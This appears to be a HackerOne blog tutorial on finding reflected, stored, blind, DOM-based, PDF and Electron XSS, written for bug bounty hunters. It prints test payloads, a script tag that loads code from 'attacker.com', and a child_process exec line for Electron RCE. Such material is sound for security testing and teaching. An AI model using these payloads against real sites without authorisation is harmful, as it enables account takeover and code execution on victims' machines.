How to Find XSS
What Is XSS?
XSS, short for Cross-Site Scripting, is a common type of vulnerability in web applications that executes arbitrary JavaScript in the victim's browser. XSS can often be chained with other vulnerabilities to mount more impactful attacks, such as information disclosure, account takeover, and even remote code execution.
XSS Vulnerabilities and How to Find Them
XSS vulnerabilities discovered by security researchers can be grouped into three general categories: reflected, stored, and DOM-based, but other interesting situations also crop up (like blind XSS and server-side XSS). In this article, we will introduce each type of XSS and share tips and tricks on how to look for them.
Payloads to Use
For effective testing of parameters that might end up executing JavaScript, polyglots (a piece of data that can be interpreted into different formats) are extremely useful, as are large lists of known XSS payloads that might work in different scenarios.
For example, a straight-up <script> or <img> tag might only be good for a straightforward reflected XSS, whereas something that starts with "><script> would help close off a previous element's attribute and inject a new tag; but this polyglot payload would work in a variety of situations, including escaping quotes, closed brackets, injecting into attributes, and even in the middle of JavaScript comments.
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)// |
The PayloadsAllTheThings GitHub repo has many normal and polyglot XSS payloads in different scenarios. The HackTricks page on XSS describes many scenarios and corresponding payloads. Last but not least, this Auto_Wordlists repo has many XSS wordlists for automated testing.
Manual vs. Automated
Both manual and automated approaches to finding XSS vulnerabilities have advantages. One consideration is scope: if the scope of a pentest or bug bounty program is very large in terms of apps and subdomains, employing an automated approach would help to find low-hanging XSS bugs in a large number of assets.
Popular tools for automating finding XSS bugs include Dalfox, XSStrike, and callback platforms like xsshunter (depending on the policy of the program you are hunting on, as not all programs allow third party XSS callbacks). Dalfox supports both stored and reflected XSS, whereas XSStrike only supports reflected; xsshunter acts as a self-hosted callback XSS hook, which can be used in combination with Dalfox for blind XSS testing (where the JavaScript could be executed but is not immediately apparent in the response). At the moment, automated tools for finding anything beyond low-hanging reflected XSS are limited; they are best used to augment manual testing.
Manual testing is the only way to find deeper XSS vulnerabilities which may require bypassing complex application filters, different encodings, and bypassing Web Application Firewalls (WAFs). During manual testing of an application, you naturally pick up interesting application flows and parameters to test XSS with (such as OAuth login redirect parameters, user input being embedded in background API calls, and so on).
Reflected XSS
The most straightforward type of XSS vulnerability is reflected XSS (or RXSS for short). This is a type of non-persistent XSS (the attack payload does not persist on the server) that reflects the user input in an unsanitized way back to the output web page, resulting in the embedding of user-supplied HTML elements or attributes that are executed by the browser.
RXSS is usually found in a GET request where parameters in the URL are reflected back to the browser without proper encoding. Good examples of these include search queries, redirects, and error messages.
For example, in this report, the error message on a login page is reflected from the URL without being HTML encoded:
Another very popular place that RXSS pops up (pun intended) is redirect parameters. Application endpoints such as post-login redirects, "confirm you are leaving this site" redirects, and so on often contain parameters in the URL that the browser interprets; however, unchecked special URLs, such as ones starting with the "javascript" protocol, can lead to JavaScript execution.
For example, this bug report describes an RXSS in a Shopify subdomain in the "returnTo" parameter, which appears to be a parameter that defines the redirect URL after a new account is created:
Stored XSS
Stored XSS refers to user input stored by the web application that is unsanitized when rendered. Any web application that stores data from users (or other external sources) and then displays it elsewhere could be vulnerable to stored XSS. Popular places to look for stored XSS are comment fields, user profile data, private messages, and even emails. A famous example of stored XSS is the Samy Worm, which was a self-propagating XSS payload that added Samy Kamkar as a friend and posted a status update: "but most of all, samy is my hero".
To find stored XSS, you need to find a relationship between the source and the sink, i.e. you need to find where the user input eventually gets printed. Sometimes it's obvious, such as in the comment section of a blog. Other times, it's available on a separate page, like the user's profile after an update of the bio.
Sometimes, stored XSS is found in the lack of sanitization when converting from one format to another, such as rendering Markdown to HTML, like in this report on GitLab Stored XSS in its wiki:
This is also a good example of mutation XSS, where broken or invalid HTML syntax is automatically fixed by the browser to facilitate a complex filter bypass. In places where free-form HTML code can be used in a limited way, like Markdown input, special syntax in forum posts, and so on, you may be able to find stored XSS by diving deep and playing around with different filter bypasses. For a really in-depth guide to bypassing XSS defenses (mutation XSS), check out chapter 2 of the "Beyond XSS" book.
Blind XSS
Blind XSS (bXSS) is a form of stored XSS that is executed blindly in the sense that the payload is rendered on a system not accessible to the attacker. This often takes place in some administrative backend. The attacker can abuse the blind XSS to exfiltrate information or perform actions that would not otherwise be visible to them.
Some common places to find bXSS include:
- Injecting into logs via HTTP headers (like user agent and cookies)
- Account registration
- Feedback forms
- Usernames / Email addresses
Blind XSS vulnerabilities can be tricky to exploit because the researcher can't see the payload trigger in their browser. Instead, the attacker needs to host a callback endpoint (such as xsshunter or Burp collaborator) to detect the payload execution. A more complex payload can be injected to exfiltrate the contents of the current page.
For example, in this report the hacker put an XSS payload into the user's name during registration time, and the admin dashboard in a third-party domain triggers the XSS payload. To maximize your chances of finding Blind XSS on a program, make sure to include XSS payloads that do remote callbacks and have a persistent callback service that alerts you when payloads are triggered.
DOM-based XSS
The Document Object Model (DOM for short) is the internal representation of parsed HTML code in the browser, which gets rendered and displayed as the resulting web page. This document object can be manipulated with JavaScript to dynamically change the contents of a page; in fact, it is often done by Single Page Applications (SPAs) and JavaScript frameworks to dynamically update a web application with new content.
DOM-based XSS refers to an XSS that takes place purely in the client-side code, such as a call to the document.write function or appending data to the innerHTML of an element. Finding DOM-based XSS often requires analysis of sources and sinks in the JavaScript code. A good tool for doing that is Burp Suite's DOM Invader, which is installed in the Burps' default browser as an extension. To enable it, go into extensions in the Burp browser and turn on "Burp Suite":
Then, click on the enabled extension on the top right corner, enable everything, and copy the canary it generates:
Now, when DOM Invader loads a web page, you can use that canary in the fields you want to test (e.g. search fields, and it will highlight the sinks that it has identified the canary going into:
Here, DOMInvader has identified a DOM XSS vulnerability in Portswigger Academy's Gin and Juice Shop (an intentionally vulnerable web application). It highlights the part of the payload that's embedded in the sink, and from there, we can craft an exploit, knowing that the user input is embedded in the end of a src attribute in an img tag:
<img src="/resources/images/tracker.gif?searchTerms=fm9nqp15"> |
We can click the "Exploit" button, at which point DOM invader tries to close off the tag and add a new HTML tag to execute JavaScript:
https://ginandjuice.shop/blog/?search=%22%27%3E%3Cimg%20src%20onerror=alert(1)%3E&back=1 |
Which essentially manipulates the element to this:
<img src="/resources/images/tracker.gif?searchTerms="'><img src onerror=alert(1)>"> |
But that doesn't work, as HTML tags are not allowed, and the web app blocks our request:
But since we now know where the vulnerability is, we can create our own payload, which just adds an onload attribute to execute JavaScript after the image is loaded:
<img src="/resources/images/tracker.gif?searchTerms=asdf" onload="alert(1)"> |
And just like that, we've found and validated a DOM-based XSS using DOM invader.
Finding XSS in Unusual Places
XSS in PDFs
Pay extra attention to any functionality that generates PDFs, as the rendering process of a HTML page into PDF could result in the execution of JavaScript in the process on the server side, leading to Server Side XSS and other bugs like local file inclusion and SSRF via iframe and other tags. Server Side XSS has a severe impact and can be used to disclose information about the server, use it to request data from internal servers, and could even be used to run an internal port scan.
You can use some basic tags such as <img src="x" onerror="document.write('test')" /> to test if JavaScript is executed during the PDF generation process to add extra data into the document, and then try other things like loading a remote script from your own domain (like <script src="http://attacker.com/myscripts.js"></script>).
XSS in PDFs can also execute in the browser via vulnerable PDF rendering components that inadvertently allow JavaScript execution. For example, this report shows a stored XSS in the PDF rendering component in Slack (which allows users to upload PDFs and other files, and has a built-in PDF viewer for convenience). It was rated as a high-severity bug and had a payout close to $5000.
XSS in Electron Applications
Electron applications (such as Slack and Microsoft Teams) bundle a local NodeJS backend with a Chromium browser frontend. That means web application vulnerabilities apply to Electron applications and can even have more severe consequences. Execution of backend JavaScript can result in RCE (Remote Code Execution) on the local machine if the right requirements are met.
It's very easy to unpack and inspect the source code of Electron applications: find the app.asar file and use the asar utility from npm to extract it into a directory, then generate its lockfile and analyze it for vulnerabilities in JavaScript dependencies using npm audit:
asar extract app.asar app; cd app npm i --package-lock-only npm audit |
Check its source code for any mention of nodeIntegration, and if nodeIntegration: true is present, it means XSS vulnerabilities can also execute backend NodeJs code and would lead to RCE. For example, an attacker that can execute arbitrary JavaScript in an Electron app can run require('child_process').exec('calc'); which uses the child_process module in NodeJS to run any commands on the machine.
Any XSS vulnerabilities that apply to normal web applications can also apply to Electron applications, especially stored and DOM-based XSS. For example, this RCE vulnerability in Rocket Chat's desktop app comes from execution of arbitrary HTML and JavaScript content in the context of the Electron application. Using an XSS vulnerability in its Markdown parser, the attacker could redirect the user to a malicious web page and use JavaScript to execute code on the local machine.
When testing Electron desktop applications, be sure to try various features that turn user input into HTML (like markdown and PDF rendering), and use tools such as Electronegativity to identify potential security misconfigurations and DOM-based vulnerabilities.
Conclusion
XSS is one of the most common vulnerabilities in web applications, and an ongoing area of security research. This article tries to scratch just beneath the surface to share tips and tricks for finding interesting XSS vulnerabilities, but nothing beats the curiosity, creativity, and persistence of a hacker (yes, I am talking about you) when it comes to finding novel vulnerabilities, exploits, and bypasses.
Happy hacking!
Secure Your Web Application From XSS With HackerOne
HackerOne and our community of ethical hackers are best equipped to help organizations identify and remediate XSS and other vulnerabilities, whether through bug bounty, Pentest as a Service (PTaaS), Code Security Audit, or other solutions by considering the attacker's mindset on discovering a vulnerability.
Download the 7th Annual Hacker Powered Security Report to learn more about the impact of the top 10 HackerOne vulnerabilities, or contact HackerOne to get started taking on XSS vulnerabilities at your organization.
The 8th Annual Hacker-Powered Security Report